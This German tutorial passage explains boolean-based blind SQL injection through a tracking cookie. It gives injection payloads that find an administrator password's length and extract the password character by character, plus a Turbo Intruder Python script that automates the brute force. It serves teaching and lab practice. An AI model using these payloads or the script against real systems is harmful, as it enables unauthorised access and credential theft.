4. Blind SQL Injection
Was ist Blind SQL Injection¶
Wenn eine Applikation eine SQL Injection Schwachstelle hat, aber die HTTP Antwort eine andere ist als die relevanten SQL query Details.
In der hinsicht sind Funkionen wie UNION nicht so sinnvoll weil diese aufgrund von Daten die man bekommt zusammengestellt werden.
Exploiting Blind SQL Injection¶
Wir gehen davon aus, wir haben einen Cookie welcher Daten fĂŒr analytische Zwecke abzwackt.
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
Wenn ein Cookie sowas wie TrackingId hat, schau die SQL Query ob der Nutzer bekannt oder unbekannt ist und ruft sowas wie:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
auf.
In diesem Fall werden die Daten nicht zum User returned. Allerdings verhÀlt sich die App anders und man hat sowas wie ein "Welcome Back" Abschnitt welcher ZugÀnge ermöglicht.
Boolean-based¶
Man nutzt aus, dass sich die Antwort einer HTTP Anfrage Àndert je nachdem ob die eingeschleuse Bedingung in der Datenbank Wahr oder Falsch ist.
Beispiel-Mechanik, vereinfacht:
- Request A enthĂ€lt eine injizierte Bedingung, die wahr ist -> die Seite zeigt z. B. âWelcome backâ.
- Request B enthĂ€lt eine injizierte Bedingung, die falsch ist -> âWelcome backâ fehlt.
Anhand dieses Unterschieds weiĂt du, ob die Bedingung true/false ist.
Zum Beispiel beim auslesen von Passwörtern - Zeichen fĂŒr Zeichen¶
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')<'m'--
-> Wenn die Bedingung Wahr ist, wissen wir, dass der erste Buchstabe des Passworts kleiner als 'm' ist. Dann bruteforcen wir den Rest, Zeichen fĂŒr Zeichen bis das Passwort vollstĂ€ndig rekonstruiert ist.
Auch in diesem Fall nehmen unterschiedliche Datenbanken unterschiedliche Synonyme fĂŒr den SUBSTRING -> SQL-Injection-Cheatsheet
Auslesen der PasswortlÀnge¶
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
Mit folgendem Script lĂ€sst sich das im Turbo Intruder einsetzen. Prinzipiell ist es wie bei Intruder die Cluster Bomb mit 2 Paramtern(Numbers, Brute-Froce) - Wir laufen fĂŒr jede Stelle im Passwort jedes Zeichen aus der Liste ab.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=100,
pipeline=False,
engine=Engine.THREADED
)
# LĂ€nge des Passworts (Anzahl Iterationen fĂŒr 'i')
password_length = 20
# Zeichenliste (als Liste einzelner Zeichen)
characters = list("0123456789abcdefghijklmnopqrstuvwxyz")
# Vorlage-Request (typisch ein String mit PLACEHOLDER1 / PLACEHOLDER2)
template = target.req
for i in range(1, password_length + 1):
for ch in characters:
# Wandle i in String um und ersetze beide Platzhalter
req = template.replace("PLACEHOLDER1", str(i)).replace("PLACEHOLDER2", ch)
# Queue den Request
engine.queue(req)
# Wichtig: das Engine-Objekt zurĂŒckgeben
return engine
def handleResponse(req, interesting):
# 'table' ist in TI normalerweise vorhanden - fĂŒgt die Zeile zur UI hinzu
try:
table.add(req)
except Exception:
# Fallback-Log, falls table nicht verfĂŒgbar ist
print("Error:", req)